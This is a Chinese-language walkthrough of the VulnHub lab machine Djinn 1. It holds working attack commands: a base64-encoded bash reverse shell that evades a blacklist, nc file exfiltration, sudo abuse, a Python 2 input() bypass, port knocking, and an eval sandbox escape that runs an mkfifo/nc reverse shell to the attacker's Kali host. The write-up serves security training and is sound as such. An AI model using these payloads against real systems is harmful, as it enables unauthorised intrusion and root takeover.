本文系统性地分析了渗透测试
靶机Djinn1中的Bypass技术与Shell重构机制。文章剖析了黑名单防御的局限性,以端口碰撞技术说明访问控制绕过原理;深入拆解Python沙盒逃逸漏洞,演示获取反弹Shell的链路,并提供标准TTY升级方案。
文章目录
靶机介绍
基于黑名单的安全防御虽能拦截已知的高危命令,但由于攻击特征无法被完全穷举,该机制不可避免地存在检测遗漏。攻击者常通过变换技术手法来改变攻击特征,从而成功规避检测并绕过安全防护,这就是业内常说的 bypass 技术。
本次实践的目标主机来自VulnHub平台,主机名为Djinn 1
前置准备
我们将下载的文件导入到VirtualBox平台,并设置好网络配置:

随后设置好网段,打开靶机后得到如下页面:

随后打开Vmware的Kali作为我们的渗透机:

可以得到:
- Kali攻击:192.168.56.120
- 目标机器:192.168.56.122
话不多说,我们直接开始提权渗透操作;
信息收集
这里我们使用nmap 等工具对目标机器进行服务端口扫描:
bash
nmap -sC -sV -A -T4 -p- 192.168.56.122
结果如下:

当然我也推荐可以使用其他工具;我们从nmap可以得到四个开放的服务以及端口:

- 21端口:
FTP服务(允许匿名访问,可能泄露敏感信息文件) - 22端口:
SSH服务(状态为"过滤filtered",不是常见的"开放open" 可能无法直接访问) - 1337端口:
未知/存疑服务(检测结果不准确,需再次手工检测) - 7331端口:
HTTP服务(可尝试对其进行浏览器访问)
Web目录枚举
我们可以发现7331端口开放了HTTP服务,所以我们可以访问 http://192.168.56.122:7331/ ,页面如下:

查看Ctrl+U源代码,并没有发现什么有效信息;
所以这里我们使用工具扫描一下其是否还存在哪些隐藏的目录文件:
bash
python dirsearch.py -u http://192.168.56.122:7331/
没有发现?

那就换个工具,使用gobuster执行如下命令:
bash
gobuster_Windows_x86_64>gobuster.exe dir -u http://192.168.56.122:7331/ -w C:\Users\Leco\Desktop\directory-list-2.3-medium.txt
成功得到结果:

渗透提权
简陋的命令执行页面
找到了两个 可以访问的Web链接,我们首先尝试访问其中的链接 http://192.168.56.122:7331/wish

看起来是一个设计非常简易的命令执行界面,我们随便执行一下命令,如id,whoami等收集信息:
(1)看来我们执行的命令触发了某些 "屏蔽词",造成了页面的错误:

不仔细看还真被他唬住了。。。
(2)我们尝试在命令执行页面输入带有反弹shell功能的命令,例如输入获得反弹shell的命令:
bash
bash -i >& /dev/tcp/192.168.56.120/8888 0>&1
# kali建立监听
nc -lvvp 8888
其中192.168.56.120是Kali的IP地址;

可以发现返回了Wrong choice of words,说明被屏蔽了;
即被提示使用了错误的命令,这也就意味着这里针对特定的不安全命令是有执行限制的,也就是我们常说的基于黑名单的安全检测机制;
- 当然也有相应的解决办法:
- base64编码绕过
- php伪协议绕过
这里我们将上述payload进行base64编码,得到结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyMC84ODg4IDA+JjE=

再次尝试执行,得到结果:
bash
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyMC84ODg4IDA+JjE= |base64 -d |bash
我们可以看到直接反弹了shell:

随后我们输入入python-c 'import pty;pty.spawn("/bin/bash")'开启一个标准bash终端,然后使用stty raw -echo命令禁用终端回显;
目标主机本地脆弱性枚举
在我们获得反弹shell的当前目录/opt/80下,存在一个名为app.py的文件:


该文件中包含了一个疑似登录凭证信息的文件;随后我们查看该文件内容,确认包含疑似为另一个用户的登录凭证信息:

- 账号:nitish
- 密码:
p4ssw0rdStr3r0n9

因此我们使用su命令和上述凭证信息尝试获取nitish用户权限:
报错
大家如果这一步切换用户失败提示:su: must be run from a terminal
bash
www-data@djinn:/home$ stty raw -echo
stty raw -echo
stty: 'standard input': Inappropriate ioctl for device
www-data@djinn:/home$ su nitish
su nitish
su: must be run from a terminal
www-data@djinn:/home$
报错 su: must be run from a terminal 是因为你当前通过反弹或后门获取的 shell 仅仅是输入输出流的重定向,并没有分配真实的伪终端 (PTY)。
而尝试使用的 stty raw -echo 其实是一套标准"终端升级(TTY Upgrade)"流程的一部分,但执行顺序和位置错了 。stty raw -echo 应该在你的本地攻击机上执行,而不是直接在目标机器上执行。
第一步:在当前界面)利用 Python 派生一个 PTY
尝试输入以下命令:
bash
python -c 'import pty; pty.spawn("/bin/bash")'
第二步:将 shell 挂起到后台
按下键盘上的组合键:
text
Ctrl + Z
此时会退回到 本地物理机(Kali/攻击机) 的命令行终端。
第三步:在你的本地攻击机上配置终端模式
在本地终端输入以下命令并回车(注意:输入 fg 后回车,会将刚才挂起的 shell 调回前台):
bash
stty raw -echo; fg
此时可能会显示之前输入的命令,或者什么都不显示,直接按一次或两次 回车键。
第四步:在目标机器上重置终端环境
此时已经回到了目标机器 djinn 的 shell 中。为了让清屏(clear)等快捷键生效,设置一下环境变量:
bash
export TERM=xterm
完成以上四步后,你现在拥有了一个完美的交互式终端。支持 Ctrl+C 中断程序而不掉线,支持 Tab 键补全。
这里我们切换到nitish用户后,输入sudo-l命令,发现该用户可以免密码以sam身份执行 /usr/bin/genie

基于上述信息尝试执行命令:
bash
sudo -u sam /usr/bin/genie -h

不安全的程序功能
冷知识:我们会默认
-h或者-help等程序自带的帮助参数选项会提供完整的帮助信息,而实际上真正获得完整帮助信息的方法应该是使用man命令;
- man命令在Linux系统中它可以向用户提供各程序的完整操作信息;
- 我们输入
man /usr/bin/genie命令时,会获得一个更详细的帮助说明
要查看剩余内容,请直接在键盘上按以下快捷键:
- 空格键 (Space) 或 Page Down:向下翻一整页(最常用,推荐)。
- 回车键 (Enter) 或 方向键 ↓:向下滚动一行(适合逐行仔细阅读)。
- b 键 或 Page Up:向上回退一页。
- q 键:退出手册,回到原本的命令行终端。

成功发现了一个新参数cmd,重新执行命令:
bash
sudo -u sam /usr/bin/genie -cmd hello

成功获得了sam用户的权限;以sam用户身份再次执行sudo -l命令

发现可以以root身份,无密使用 /root/lago程序(猜测又是一个自行编写的程序脚本)

尝试逐个执行其中的选项,所有的选项还是没有向我们提供有价值的输出。
泄露的pyc文件
对于刚刚获取的程序脚本,我们并不知道应该如何使用并获取root权限,所以我们只能他退而求其次,对sam用户进行信息收集:

发现一个名为.pyc的文件;
.pyc格式的文件是基于Python的.py格式编译后所生成的文件,通过strings.pyc命令,我们可
以查看该文件中存在的字符串信息:

根据上图,该编译文件对应的可执行文件很有可能就是之前执行的/root/lago,换句话说,如果我们有办法将该编译文件进行反编译,就可以成功获得/root/lago的内部逻辑,获取root权限;
python反编译
之前做应急响应的时候,也遇到过py反编译的场景:
- 应急响应------知攻善防蓝队靶机Web-1溯源过程
- 工具名称:
uncompyle6
随后将目标主机系统上的.pyc文件下载到本地:
bash
kali:nc -l -p 1234 > 1.pyc
目标机器: nc -w 4 192.168.56.120 1234 < .pyc
成功下载到本地:

使用如下命令对其进行反编译分析,获得其Python源代码:
bash
uncompyle6 1.pyc
执行命令如下:

得到结果:
python
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
return
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
return
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
return
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
return
if __name__ == '__main__':
main(options())
return
# okay decompiling 1.pyc
根据代码,我们可以触发 system('/bin/sh') 命令创建/bin/sh终端(意味着我们可以获取root权限直接getshell)
关键代码:
python
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
return
程序首先通过randint() 函数随机从1到101中选择一个整数,并要求我们输入一个数字,如果我们输入的数字与其随机选择的数字相符,则向我们提供一个/bin/sh终端,反之则提示 "Better Luck next time"
input()代码执行漏洞
这段代码的提权核心在于利用了 Python 2.x 版本中 input() 函数的代码执行漏洞 。在该版本中,input() 函数会将用户的输入当作 Python 代码来解析;这意味着,如果你在输入时填入的是代码内部已有的变量名,程序会自动提取并返回该变量的真实数值。
结合当前的提权场景,虽然程序要求我们准确猜出一个随机数字,但由于该随机数被存储在了变量 num 中,我们只需直接输入变量名 num 即可。利用这个漏洞,input() 函数会自动将 num 解析为正确的随机数值并完成匹配,让我们无需靠运气盲猜,就能百分之百绕过验证逻辑并拿到 root 权限。
基于源码分析的结果,我们再次执行如下命令:
bash
sudo /root/lago
并依次输入2和num,即可成功获得一个root权限的/bin/sh终端;

至此,我们成功getshell;
但是,真的结束了吗?
1337端口未知服务代码白盒分析
run_challenge.sh文件内容
获得root权限之后,可以回过头再来看一下目标主机1337端口的访问情况,1337端口服务对应的程序位于目标主机的/opt/1337目录下:

该目录下存在三个文件,先通过cat命令查看其中run_challenge.sh文件的内容:

app.py文件内容
由此可以看出,该文件直接以Python命令执行了app.py文件,因此继续查看app.py文件的内容:
python
# cat app.py
#!/usr/bin/env python3
import sys
from random import choice, randint
from pyfiglet import print_figlet
def add(a,b): return a+b
def div(a,b): return int(a/b)
def multiply(a,b): return a*b
def sub(a,b): return a-b
print_figlet("Game Time")
print("Let's see how good you are with simple maths")
print("Answer my questions 1000 times and I'll give you your gift.")
OPERATIONS = ['+', '-', "/", "*"]
def main():
for i in range(1001):
a = randint(1,9)
b = randint(1,9)
op = choice(OPERATIONS)
print(a,op,b)
if op == "+":
val = add(a,b)
if op == "-":
val = sub(a,b)
if op == "/":
val = div(a,b)
if op == "*":
val = multiply(a,b)
try:
In = int(input("> "))
except Exception:
print("Stop acting like a hacker for a damn minute!!")
sys.exit(1)
if In == val:
continue
else:
print("Wrong answer")
sys.exit(1)
with open("/opt/1337/p0rt5", 'r') as f:
print(f.read())
if __name__ == "__main__":
main()
由上述代码内容可以看出,此代码所实现的功能便是我们在访问目标主机系统1337端口时被提供的服务。
根据app.py文件的Python代码可知,如果我们按其要求连续成功答对1000次随机生成的数学运算问题,就可以获得p0rt5文件的内容;反之,若期间答错任意一次,则会被断开连接,前功尽弃。此外,如果程序判定它获得了非数字类型的答案,那么就会告警提示存在黑客攻击行为并断开连接。
p0rt5文件内容
看一下p0rt5文件的内容:

p0rt5文件向我们提供了三组数字,即1356, 6784, 3409。这三组数字由逗号分隔,且在大于1小于等于65535这个范围内;
根据经验,这里面可能涉及一种名为端口碰撞的技术;
端口碰撞技术介绍
端口碰撞(Port knocking)是一种通过特定"暗号"来控制端口访问权限的安全机制。被保护的目标端口默认处于隐藏状态;
- 只有当访问者按照预先设定的正确顺序,依次对一组特定的端口(如本例中的 1356、6784、3409)发起访问请求后,系统才会向该访问者开放真实服务端口的连接权限,从而实现仅允许特定人员接入的安全限制。
端口碰撞操作可以通过nmap快速实现:
bash
for x in 1356 6784 3409; do nmap -Pn --max-retries 0 -p $x 192.168.192.156; done
上述命令设置了一个循环语句,该语句会使用nmap按顺序分别访问一次上述三个端口,执行结果如下:

这个时候我们再进行"端口扫描",可以发现ssh服务的状态已经从"过滤"(filtered)变为了"开
放"(open)状态:

利用Python沙盒逃逸漏洞
通过对前面app.py文件的代码进行分析,我们可以了解到,1337端口的服务运行时,我们的输入是直接提供给Python执行环境的,而且在该过程中并没有限制我们输入的内容,这里实际存在一种名为Python沙盒逃逸的漏洞。
bash
telnet 192.168.56.122 1337
由于我们输入的命令是直接提供给Python环境执行且没有特定内容限制的,因此如果我们输入某些Python中存在的可执行系统命令的函数,大概率是可以直接获得命令执行结果的。例如利用Python中的eval()函数执行如下命令。
python
eval('__import__("os").system("id")')

若该命令被Python环境成功执行,将获得id命令的执行结果。将该命令提供给目标主机1337端口,果然成功获得了系统命令id的执行结果,这就意味着该Python程序存在Python沙盒逃逸漏洞,且该Python沙盒拥有root权限!
知道了该问题的存在,可以直接对上述服务构造具有反弹shell功能的命令,例如输入如下命令:
python
eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.120 443 >/tmp/f")')
# kali命令
nc -lvnp 443


我们直接在Kali主机本地443端口获得了来自目标主机的root权限的反弹shell连接,意味着可直接控制该目标主机!
总结
通过此次实践,我们初步了解并利用bypass技术绕过了黑名单安全机制,同时还额外介绍了端口碰撞技术以及Python沙盒绕过技术手段。在实际渗透测试中,我们常常用到类似但更为复杂的bypass技术来绕过waf、防火墙等安全软件的功能限制。绕过特定安全软件的方法很多,网上有大量关于bypass技术的文章,大家可通过搜索引擎查找学习。